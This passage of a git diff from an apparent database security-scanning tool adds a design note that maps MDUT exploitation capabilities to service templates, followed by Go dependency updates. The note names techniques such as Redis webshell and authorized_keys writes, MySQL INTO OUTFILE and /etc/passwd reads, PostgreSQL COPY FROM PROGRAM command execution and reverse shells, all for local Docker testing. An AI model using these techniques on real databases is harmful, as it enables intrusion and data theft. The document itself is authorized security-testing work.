https://github.com/sqlmapproject/sqlmap +17. sqlmap Wiki: https://github.com/sqlmapproject/sqlmap/wiki + +### 参考项目 +18. redis-rogue-server: https://github.com/n0b0dyCN/redis-rogue-server +19. redis-rce: https://github.com/Ridter/redis-rce +20. RabR (exp.dll/exp.so来源): https://github.com/0671/RabR +21. WarSQLKit: https://github.com/mindspoof/MSSQL-Fileless-Rootkit-WarSQLKit + +--- + +> **免责声明**:本文档仅用于安全研究和防御目的,旨在帮助安全人员了解数据库攻击工具的能力以加强防护。使用这些工具进行未经授权的攻击是违法行为。本文档中的信息基于公开的GitHub仓库和技术博客,仅供合法授权的安全测试和学术研究使用。 + +> **法律警告**:未经授权访问计算机系统、数据库或网络属于违法行为。使用本文档中描述的技术和工具攻击您不拥有或未经授权测试的系统是非法的,并可能导致刑事起诉。请始终确保您拥有适当的授权,并遵守所有适用的法律和法规。 + +--- + +*文档版本: v1.0* +*最后更新: 2025年7月* +*生成方式: 基于5份独立调研报告的综合整理* diff --git a/docs/mdut-template-analysis.md b/docs/mdut-template-analysis.md new file mode 100644 index 0000000..030fbdb --- /dev/null +++ b/docs/mdut-template-analysis.md @@ -0,0 +1,83 @@ +# MDUT service-template analysis + +Source reviewed: `../MDUT`, mainly: + +- `MDAT-DEV/src/main/java/Util/MysqlSqlUtil.java` +- `MDAT-DEV/src/main/java/Util/MssqlSqlUtil.java` +- `MDAT-DEV/src/main/java/Util/PostgreSqlUtil.java` +- `MDAT-DEV/src/main/java/Util/OracleSqlUtil.java` +- `MDAT-DEV/src/main/java/Dao/RedisDao.java` + +## Current service template coverage + +Existing templates under `../proton/templates/services` already cover more than version checks: + +- Redis: info/config checks, sensitive key discovery, crontab/webshell/authorized_keys write templates. +- PostgreSQL: info gathering plus superuser and unsafe language checks. +- MySQL: info gathering, credential-column discovery, user enumeration, UDF surface checks, file-read checks. +- MSSQL: info gathering plus `xp_cmdshell` availability checks. +- Oracle: info gathering plus privilege and role checks. +- SSH: info gathering, env/credential file discovery, Docker escape signals. +- FTP/LDAP/Memcached/MongoDB: basic discovery and sensitive-data checks. + +## Template-friendly MDUT capabilities + +These MDUT features are read-only or mostly read-only and fit the current `db`/`kv` service-template model. + +| Service | MDUT capability | Template status | Notes | +| --- | --- | --- | --- | +| MySQL | Version/OS/arch via `CONCAT_WS`, plugin dir, `secure_file_priv`, FILE privilege, existing UDF function count | Added `mysql/mysql-mdut-capability-check.yaml` | Determines whether UDF/file-write paths are plausible without writing a library. | +| PostgreSQL | `server_version`, current user, superuser, `pg_execute_server_program`, server-file roles, PL/Python languages | Added `postgresql/postgresql-mdut-capability-check.yaml` | Identifies whether `COPY FROM PROGRAM` or unsafe language routes are available without creating objects. | +| MSSQL | Sysadmin, `xp_cmdshell`, OLE Automation, CLR, current DB trustworthy flag, MDUT CLR proc presence | Added `mssql/mssql-mdut-capability-check.yaml` | Does not enable options or import assemblies. | +| Oracle | Version, DBA status, scheduler/Java/procedure privileges, DBA/Java roles, existing `SHELLRUN`/`FILERUN` functions | Added `oracle/oracle-mdut-capability-check.yaml` | Does not create Java source, grant Java permissions, or create scheduler jobs. | +| Redis | Version/arch, dir/dbfilename, replica read-only flag, loaded modules | Added `redis/redis-mdut-rogue-prereq-check.yaml` | Captures rogue-module prerequisites without `SLAVEOF`, `MODULE LOAD`, or payload delivery. | + +## High-risk or parameterized MDUT capabilities + +These should not be default smoke templates. They need explicit opt-in, user-supplied parameters, and cleanup support. + +- MySQL: `SELECT ... INTO DUMPFILE`, `CREATE FUNCTION`, `sys_eval`, `backshell`, NTFS ADS directory creation. +- PostgreSQL: large-object UDF injection/export, `CREATE FUNCTION ... LANGUAGE C`, `COPY FROM PROGRAM`, command-result tables. +- MSSQL: enabling `xp_cmdshell`/OLE/CLR, command execution, SQL Agent jobs, file upload/download/delete, CLR assembly import. +- Oracle: Java source import, Java permission grants, `SHELLRUN`/`FILERUN`, DBMS_SCHEDULER executable jobs, reverse shell helpers. +- Redis: write crontab/webshell/authorized_keys, rogue master replication, `MODULE LOAD`, `system.exec`, reverse shell. + +## Local verification scope + +The current Docker fixture in `testdata/service-template` can verify Redis, PostgreSQL, MySQL, and SSH templates. It now includes smoke coverage for these MDUT-inspired templates: + +- `redis/redis-mdut-rogue-prereq-check.yaml` +- `postgresql/postgresql-mdut-capability-check.yaml` +- `mysql/mysql-mdut-capability-check.yaml` + +MSSQL and Oracle templates are load-checked by `go test ./...` through `service/load_test.go`, but they do not yet have local Docker smoke coverage. Add separate fixtures only if the heavier images and license/runtime requirements are acceptable. + +## Exploit reproduction status + +`go test -tags docker ./integration -run TestServiceTemplateDocker/Exploit -count=1` performs an opt-in local exploit reproduction against Docker-only targets: + +| Service | Template | Reproduced behavior | Verification | +| --- | --- | --- | --- | +| Redis | `templates/exploit/redis-write-webshell-local.yaml` | `CONFIG SET dir/dbfilename` plus `SAVE` writes `/var/www/html/shell.php` | Container file contains `` | +| MySQL | `templates/exploit/mysql-outfile-local.yaml` | `SELECT ... INTO OUTFILE` writes `/tmp/zombie_mysql_outfile.txt` | `LOAD_FILE` through zombie and container `cat` both return `zombie-mysql-outfile-ok` | +| PostgreSQL | `templates/exploit/postgres-copy-program-local.yaml` | `COPY FROM PROGRAM` executes `id` as the PostgreSQL OS user | Zombie extracts `uid=...`, and `/tmp/zombie_pg_cmd.txt` exists in the container | + +Redis 7 blocks protected config changes by default, so the local Redis fixture explicitly starts with `--enable-protected-configs yes`. Keep this fixture bound to localhost. + +`go test -tags docker ./integration -run TestServiceTemplateDocker/PostExploit -count=1` performs broader post-auth capability validation against the same Docker-only targets: + +| Service | Template | Capability verified | +| --- | --- | --- | +| Redis | `templates/post-exploit/redis-post-exploit-local.yaml` | Sensitive value read, token-key discovery, local RDB file write | +| MySQL | `templates/post-exploit/mysql-post-exploit-local.yaml` | App credential query, `/etc/passwd` read with `LOAD_FILE`, `INTO OUTFILE` write | +| PostgreSQL | `templates/post-exploit/postgres-post-exploit-local.yaml` | `/etc/passwd` read with `pg_read_file`, `COPY FROM PROGRAM` command execution | +| SSH | `templates/post-exploit/ssh-post-exploit-local.yaml` | Command execution, file write/read, env secret and credential-path discovery | + +## Implementation gaps before high-risk templates + +To safely support MDUT's exploitation actions as templates, zombie should add: + +- More exploit templates using the newly supported Nuclei-style `variables`, request-level `payloads`, `attack`, `-V/--var key=value`, and repeated `--payload key=value` CLI overrides for command, attacker host/port, public key, target path, payload path, and encoding. +- Per-template risk labels or explicit allow flags, for example `--service-template-risk critical`. +- Cleanup/finalizer blocks that always run after state-changing Redis/MSSQL/MySQL/PostgreSQL/Oracle actions. +- A dry-run or capability-only mode for CI and broad scanning. diff --git a/go.mod b/go.mod index 2a33720..c6d19b9 100644 --- a/go.mod +++ b/go.mod @@ -1,16 +1,17 @@ module github.com/chainreactors/zombie -go 1.22.0 +go 1.24.0 toolchain go1.24.3 require ( github.com/bradfitz/gomemcache v0.0.0-20230905024940-24af94b03874 - github.com/chainreactors/fingers v1.2.1-0.20260608084741-385e7d586d6f + github.com/chainreactors/fingers v1.2.2-0.20260629103336-467eef72e53e github.com/chainreactors/logs v0.0.0-20260508055944-c678762ed15c - github.com/chainreactors/neutron v0.0.0-20260608084636-c81691731908 - github.com/chainreactors/parsers v0.0.0-20260608085142-3d2c51baa8fe - github.com/chainreactors/utils v0.0.0-20260529172343-6465cb8568b2 + github.com/chainreactors/neutron v0.1.1-0.20260704022034-e0488801d4bf + github.com/chainreactors/proton v0.3.3-0.20260707162538-471f99ea6131 + github.com/chainreactors/utils v0.0.0-20260704034630-ef809fae5725 + github.com/chainreactors/utils/parsers v0.0.4-0.20260809074718-349a49164b5b github.com/chainreactors/words v0.0.0-20260520145736-270600e60fb4 github.com/denisenkom/go-mssqldb v0.9.0 github.com/eclipse/paho.mqtt.golang v1.4.3 @@ -30,16 +31,21 @@ require ( github.com/streadway/amqp v1.1.0 github.com/vbauerster/mpb/v8 v8.7.2 go.mongodb.org/mongo-driver v1.12.0 - golang.org/x/crypto v0.19.0 - golang.org/x/net v0.21.0 - sigs.k8s.io/yaml v1.4.0 + golang.org/x/crypto v0.31.0 + golang.org/x/net v0.33.0 + sigs.k8s.io/yaml v1.6.0 ) require ( github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 // indirect - github.com/Knetic/govaluate v3.0.0+incompatible // indirect + github.com/Knetic/govaluate v3.0.1-0.20171022003610-9aa49832a739+incompatible // indirect github.com/VividCortex/ewma v1.2.0 // indirect github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d // indirect + github.com/charlievieth/fastwalk v1.0.14 // indirect + github.com/clipperhouse/stringish v0.1.1 // indirect + github.com/clipperhouse/uax29/v2 v2.3.0 // indirect + github.com/dsnet/compress v0.0.2-0.20230904184137-39efe44ab707 // indirect + github.com/edsrzf/mmap-go v1.2.0 // indirect github.com/emersion/go-message v0.15.0 // indirect github.com/emersion/go-textwrapper v0.0.0-20200911093747-65d896831594 // indirect github.com/facebookincubator/nvdtools v0.1.5 // indirect @@ -48,37 +54,43 @@ require ( github.com/go-dedup/megophone v0.0.0-20170830025436-f01be21026f5 // indirect github.com/go-dedup/simhash v0.0.0-20170904020510-9ecaca7b509c // indirect github.com/go-dedup/text v0.0.0-20170907015346-8bb1b95e3cb7 // indirect + github.com/gobwas/glob v0.2.3 // indirect github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe // indirect github.com/google/uuid v1.3.1 // indirect github.com/gorilla/websocket v1.5.0 // indirect + github.com/h2non/filetype v1.1.3 // indirect github.com/hashicorp/go-version v1.6.0 // indirect github.com/klauspost/compress v1.13.6 // indirect - github.com/mattn/go-runewidth v0.0.15 // indirect + github.com/mattn/go-runewidth v0.0.19 // indirect + github.com/mholt/archiver v3.1.1+incompatible // indirect github.com/montanaflynn/stats v0.0.0-20171201202039-1bf9dbcd8cbe // indirect github.com/mozillazg/go-pinyin v0.20.0 // indirect + github.com/nwaples/rardecode v1.1.3 // indirect + github.com/pierrec/lz4 v2.6.1+incompatible // indirect github.com/spaolacci/murmur3 v1.1.0 // indirect - github.com/tetratelabs/wazero v1.9.0 // indirect + github.com/tetratelabs/wazero v1.11.0 // indirect github.com/twmb/murmur3 v1.1.8 // indirect + github.com/ulikunitz/xz v0.5.15 // indirect github.com/wasilibs/go-re2 v1.10.0 // indirect - github.com/wasilibs/wazero-helpers v0.0.0-20240620070341-3dff1577cd52 // indirect + github.com/wasilibs/wazero-helpers v0.0.0-20250123031827-cd30c44769bb // indirect github.com/xdg-go/pbkdf2 v1.0.0 // indirect github.com/xdg-go/scram v1.1.2 // indirect github.com/xdg-go/stringprep v1.0.4 // indirect + github.com/xi2/xz v0.0.0-20171230120015-48954b6210f8 // indirect github.com/youmark/pkcs8 v0.0.0-20181117223130-1be2e3e5546d // indirect + go.yaml.in/yaml/v2 v2.4.2 // indirect golang.org/x/sync v0.6.0 // indirect - golang.org/x/sys v0.30.0 // indirect - golang.org/x/text v0.15.0 // indirect + golang.org/x/sys v0.38.0 // indirect + golang.org/x/text v0.21.0 // indirect ) require ( github.com/golang/snappy v0.0.4 // indirect github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5 - github.com/kr/pretty v0.3.1 // indirect github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 github.com/onsi/ginkgo v1.16.5 // indirect github.com/onsi/gomega v1.19.0 // indirect - github.com/rivo/uniseg v0.4.7 // indirect github.com/xinsnake/go-http-digest-auth-client v0.6.0 gopkg.in/yaml.v3 v3.0.1 ) @@ -87,3 +99,5 @@ replace ( golang.org/x/crypto => github.com/golang/crypto v0.23.0 golang.org/x/text => golang.org/x/text v0.12.0 ) + +replace github.com/wasilibs/go-re2 => github.com/chainreactors/go-re2 v1.11.1-0.20260803043001-2e8338def4c6 diff --git a/go.sum b/go.sum index 8aa4c2d..2508b28 100644 --- a/go.sum +++ b/go.sum @@ -52,8 +52,8 @@ github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03 github.com/BurntSushi/toml v0.4.1/go.mod h1:CxXYINrC8qIiEnFrOxCa7Jy5BFHlXnUU2pbicEuybxQ= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= github.com/DataDog/datadog-go v3.2.0+incompatible/go.mod h1:LButxg5PwREeZtORoXG3tL4fMGNddJ+vMq1mwgfaqoQ= -github.com/Knetic/govaluate v3.0.0+incompatible h1:7o6+MAPhYTCF0+fdvoz1xDedhRb4f6s9Tn1Tt7/WTEg= -github.com/Knetic/govaluate v3.0.0+incompatible/go.mod h1:r7JcOSlj0wfOMncg0iLm8Leh48TZaKVeNIfJntJ2wa0= +github.com/Knetic/govaluate v3.0.1-0.20171022003610-9aa49832a739+incompatible h1:1G1pk05UrOh0NlF1oeaaix1x8XzrfjIDK47TY0Zehcw= +github.com/Knetic/govaluate v3.0.1-0.20171022003610-9aa49832a739+incompatible/go.mod h1:r7JcOSlj0wfOMncg0iLm8Leh48TZaKVeNIfJntJ2wa0= github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= github.com/VividCortex/ewma v1.2.0 h1:f58SaIzcDXrSy3kWaHNvuJgJ3Nmz59Zji6XoJR/q1ow= github.com/VividCortex/ewma v1.2.0/go.mod h1:nz4BbCtbLyFDeC9SUHbtcT5644juEuWfUAUnGx7j5l4= @@ -72,37 +72,45 @@ github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmV github.com/armon/go-metrics v0.3.10/go.mod h1:4O98XIr/9W0sxpJ8UaYkvjk10Iff7SnFrb4QAOwNTFc= github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= github.com/armon/go-radix v1.0.0/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= -github.com/bahlo/generic-list-go v0.2.0/go.mod h1:2KvAjgMlE5NNynlg/5iLrrCCZ2+5xWbdbCW3pNTGyYg= github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= github.com/bradfitz/gomemcache v0.0.0-20230905024940-24af94b03874 h1:N7oVaKyGp8bttX0bfZGmcGkjz7DLQXhAn3DNd3T0ous= github.com/bradfitz/gomemcache v0.0.0-20230905024940-24af94b03874/go.mod h1:r5xuitiExdLAJ09PR7vBVENGvp4ZuTBeWTGtxuX3K+c= -github.com/buger/jsonparser v1.1.1/go.mod h1:6RYKKt7H4d4+iWqouImQ9R2FZql3VbhNgx27UK13J/0= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= github.com/census-instrumentation/opencensus-proto v0.3.0/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= -github.com/chainreactors/fingers v1.2.1-0.20260608084741-385e7d586d6f h1:YRhBdXcJN6Nt6wIrLG06eUUcj/rycBEmQXqyfQvlAV8= -github.com/chainreactors/fingers v1.2.1-0.20260608084741-385e7d586d6f/go.mod h1:HL+9nwb5HNXJMboiQ7Kwy00ZSTXYTAuWw9IrYIoARH8= +github.com/chainreactors/fingers v1.2.2-0.20260629103336-467eef72e53e h1:HOnnD5geP3vjypAKSArNqPzv+5P7Hm9ufip+LbneI6I= +github.com/chainreactors/fingers v1.2.2-0.20260629103336-467eef72e53e/go.mod h1:BczXvQ8xozOh9xR1dh5gxg1qVkW2jgF7pQfSeNSDWN4= +github.com/chainreactors/go-re2 v1.11.1-0.20260803043001-2e8338def4c6 h1:FwRFQILG9Q7N4pQ6uSSKEKwMNbea5WcOIscGfj3qaUY= +github.com/chainreactors/go-re2 v1.11.1-0.20260803043001-2e8338def4c6/go.mod h1:4qC68vqWSuPTct3spuTrWBqCpm00mQ707JKLS1izVjI= github.com/chainreactors/logs v0.0.0-20260508055944-c678762ed15c h1:6Net2Mgo/qo6ADFBZJWWScKuMfZ0rbzLqSCVDuLKFdc= github.com/chainreactors/logs v0.0.0-20260508055944-c678762ed15c/go.mod h1:VrXmYPbNN5AVoo1sc5aeyPVBYqubMdb3KO/tn5rRZpo= -github.com/chainreactors/neutron v0.0.0-20260608084636-c81691731908 h1:dNJtRF4KtcgFwKjVJDDKUHPCsWJo2OthMlzNxYfp3Uk= -github.com/chainreactors/neutron v0.0.0-20260608084636-c81691731908/go.mod h1:TqJ3kRBB/PPq6O+e0lY/NPHhpM5beFNPG8OilSlmx+o= -github.com/chainreactors/parsers v0.0.0-20260608085142-3d2c51baa8fe h1:n1pFLHHYXMiX5rCVWeciOTJUFggWXOrLtCu9jhq5Mbs= -github.com/chainreactors/parsers v0.0.0-20260608085142-3d2c51baa8fe/go.mod h1:ygxMqZQ/hGY2uegUvC0LbR538hbgNH7HP4dTuv/jfSM= -github.com/chainreactors/utils v0.0.0-20260529172343-6465cb8568b2 h1:ygWUs11z/bg/NsTuH1p37Excj7+IAoRSNGpHBrCsVk8= -github.com/chainreactors/utils v0.0.0-20260529172343-6465cb8568b2/go.mod h1:LajXuvESQwP+qCMAvlcoSXppQCjuLlBrnQpu9XQ1HtU= +github.com/chainreactors/neutron v0.1.1-0.20260704022034-e0488801d4bf h1:K9RngJiCOm1aQlbE6oCrCm++xp8zE329nPNsW6/yUUQ= +github.com/chainreactors/neutron v0.1.1-0.20260704022034-e0488801d4bf/go.mod h1:atWNGU57NTCzwyO913hzklQPfF0m+uN0OXUbaKyiSeI= +github.com/chainreactors/proton v0.3.3-0.20260707162538-471f99ea6131 h1:gTrBbrASTvndSBr2XL75Kdw8fAM3xw/dikTqMNzoQBE= +github.com/chainreactors/proton v0.3.3-0.20260707162538-471f99ea6131/go.mod h1:c4kezBtDrE4sBIH6qF0+OShJ3/fijZENyxcUbcfZ/qQ= +github.com/chainreactors/utils v0.0.0-20260704034630-ef809fae5725 h1:Ao6riszv11QWVoA/gtJeN8Y1XVri+WTk3SgmqoBQ3Ss= +github.com/chainreactors/utils v0.0.0-20260704034630-ef809fae5725/go.mod h1:xwbUlFoSSxLHujyb8D48o1s2DqmEAxUNfxIy0DVUmcg= +github.com/chainreactors/utils/parsers v0.0.4-0.20260809074718-349a49164b5b h1:UwVPAV8DCWESht/xPfx5fewr3uh+SJXtOUvLQA/fktc= +github.com/chainreactors/utils/parsers v0.0.4-0.20260809074718-349a49164b5b/go.mod h1:bE/znJWt08n9QOORWsWu0ggB8GWfOg3+dfUMMITmwV4= github.com/chainreactors/words v0.0.0-20260520145736-270600e60fb4 h1:lvnDYEkatmZFHP5i321qQXK9L4vKRfso/uUfr5tOeC8= github.com/chainreactors/words v0.0.0-20260520145736-270600e60fb4/go.mod h1:zfz367PUmyaX6oAqV9SktVqyRXKlEh0sel9Wsq9dd2c= +github.com/charlievieth/fastwalk v1.0.14 h1:3Eh5uaFGwHZd8EGwTjJnSpBkfwfsak9h6ICgnWlhAyg= +github.com/charlievieth/fastwalk v1.0.14/go.mod h1:diVcUreiU1aQ4/Wu3NbxxH4/KYdKpLDojrQ1Bb2KgNY= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= github.com/circonus-labs/circonus-gometrics v2.3.1+incompatible/go.mod h1:nmEj6Dob7S7YxXgwXpfOuvO54S+tGdZdw9fuRZt25Ag= github.com/circonus-labs/circonusllhist v0.1.3/go.mod h1:kMXHVDlOchFAehlya5ePtbp5jckzBHf4XRpQvBOLI+I= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= +github.com/clipperhouse/stringish v0.1.1 h1:+NSqMOr3GR6k1FdRhhnXrLfztGzuG+VuFDfatpWHKCs= +github.com/clipperhouse/stringish v0.1.1/go.mod h1:v/WhFtE1q0ovMta2+m+UbpZ+2/HEXNWYXQgCt4hdOzA= +github.com/clipperhouse/uax29/v2 v2.3.0 h1:SNdx9DVUqMoBuBoW3iLOj4FQv3dN5mDtuqwuhIGpJy4= +github.com/clipperhouse/uax29/v2 v2.3.0/go.mod h1:Wn1g7MK6OoeDT0vL+Q0SQLDz/KpfsVRgg6W7ihQeh4g= github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= @@ -116,7 +124,6 @@ github.com/cncf/xds/go v0.0.0-20211130200136-a8f946100490/go.mod h1:eXthEFrGJvWH github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= github.com/coreos/go-systemd/v22 v22.3.2/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= github.com/cpuguy83/go-md2man/v2 v2.0.1/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= -github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM= @@ -124,8 +131,13 @@ github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8Yc github.com/denisenkom/go-mssqldb v0.9.0 h1:RSohk2RsiZqLZ0zCjtfn3S4Gp4exhpBWHyQ7D0yGjAk= github.com/denisenkom/go-mssqldb v0.9.0/go.mod h1:xbL0rPBG9cCiLr28tMa8zpbdarY27NDyej4t/EjAShU= github.com/dgrijalva/jwt-go/v4 v4.0.0-preview1/go.mod h1:+hnT3ywWDTAFrW5aE+u2Sa/wT555ZqwoCS+pk3p6ry4= +github.com/dsnet/compress v0.0.2-0.20230904184137-39efe44ab707 h1:2tV76y6Q9BB+NEBasnqvs7e49aEBFI8ejC89PSnWH+4= +github.com/dsnet/compress v0.0.2-0.20230904184137-39efe44ab707/go.mod h1:qssHWj60/X5sZFNxpG4HBPDHVqxNm4DfnCKgrbZOT+s= +github.com/dsnet/golib v0.0.0-20171103203638-1ea166775780/go.mod h1:Lj+Z9rebOhdfkVLjJ8T6VcRQv3SXugXy999NBtR9aFY= github.com/eclipse/paho.mqtt.golang v1.4.3 h1:2kwcUGn8seMUfWndX0hGbvH8r7crgcJguQNCyp70xik= github.com/eclipse/paho.mqtt.golang v1.4.3/go.mod h1:CSYvoAlsMkhYOXh/oKyxa8EcBci6dVkLCbo5tTC1RIE= +github.com/edsrzf/mmap-go v1.2.0 h1:hXLYlkbaPzt1SaQk+anYwKSRNhufIDCchSPkUD6dD84= +github.com/edsrzf/mmap-go v1.2.0/go.mod h1:19H/e8pUPLicwkyNgOykDXkJ9F0MHE+Z52B8EIth78Q= github.com/emersion/go-message v0.15.0 h1:urgKGqt2JAc9NFJcgncQcohHdiYb803YTH9OQwHBHIY= github.com/emersion/go-message v0.15.0/go.mod h1:wQUEfE+38+7EW8p8aZ96ptg6bAb1iwdgej19uXASlE4= github.com/emersion/go-textwrapper v0.0.0-20200911093747-65d896831594 h1:IbFBtwoTQyw0fIM5xv1HF+Y+3ZijDR839WMulgxCcUY= @@ -147,6 +159,8 @@ github.com/facebookincubator/nvdtools v0.1.5/go.mod h1:Kh55SAWnjckS96TBSrXI99KrE github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU= github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= +github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8= +github.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= github.com/fsnotify/fsnotify v1.5.1 h1:mZcQUHVQUQWoPXXtuf9yuEXKudkV2sx1E06UadKWpgI= @@ -177,6 +191,8 @@ github.com/go-sql-driver/mysql v1.6.0 h1:BCTh4TKNUYmOmMUcQ3IipzF5prigylS7XXjEkfC github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE= +github.com/gobwas/glob v0.2.3 h1:A4xDbljILXROh+kObIiy5kIaPYD8e96x1tgBhUI5J+Y= +github.com/gobwas/glob v0.2.3/go.mod h1:d3Ez4x06l9bZtSvzIay5+Yzi0fmZzPgnTbPcKjJAkT8= github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= @@ -233,8 +249,8 @@ github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/ github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= -github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= +github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= @@ -267,6 +283,8 @@ github.com/gorilla/websocket v1.5.0/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/ad github.com/gosnmp/gosnmp v1.32.0 h1:gctewmZx5qFI0oHMzRnjETqIZ093d9NgZy9TQr3V0iA= github.com/gosnmp/gosnmp v1.32.0/go.mod 